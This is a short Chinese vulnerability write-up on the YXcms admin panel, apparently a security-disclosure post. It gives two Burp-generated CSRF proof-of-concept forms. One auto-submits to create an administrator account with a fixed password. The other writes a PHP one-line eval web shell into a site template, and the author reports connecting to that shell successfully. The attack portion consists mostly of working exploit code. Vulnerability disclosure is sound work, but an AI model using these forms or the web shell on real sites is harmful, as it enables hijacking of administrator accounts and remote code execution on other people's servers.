YXcms后台csrf添加管理员+getshell

漏洞作者:

蛇精病

漏洞证明:

1、后台添加管理然后用burp截断

23154504b17caadbc97eaaf0d9670c5dc2f4beac[1]

我们发现没有验证,然后就构造表单

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form id="post123" name="post123" action="http://127.0.0.1/index.php?r=admin/admin/index" method="POST">

      <input type="hidden" name="groupid" value="1" />

      <input type="hidden" name="username" value="snake" />

      <input type="hidden" name="rpassword" value="wuyun1" />

      <input type="hidden" name="spassword" value="wuyun1" />

      <input type="hidden" name="realname" value="" />

      <input type="hidden" name="iflock" value="0" />

       <script>

        document.getElementById('post123').submit();

    </script>

    </form>

  </body>

</html>
 

2、再来看如何getshell

模版,新建

23154545c45e4ecbaff45ce041c340ece24ce1be[1]

插入一句话木马,然后截断

2315460406f85f627c24386b185b1fadddcc13a5[1]

同样没有验证,构造表单如下

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="http://127.0.0.1/index.php?r=admin/set/tpadd&Mname=default" method="POST">

      <input type="hidden" name="filename" value="1" />

      <input type="hidden" name="code" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;POST&#91;g&#93;&#41;&#59;&#63;&gt;" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>
 

接下来用菜刀连接试试

23154650d7cb8eb0c5b59c273863a2062ca52815[1]

连接成功

发表评论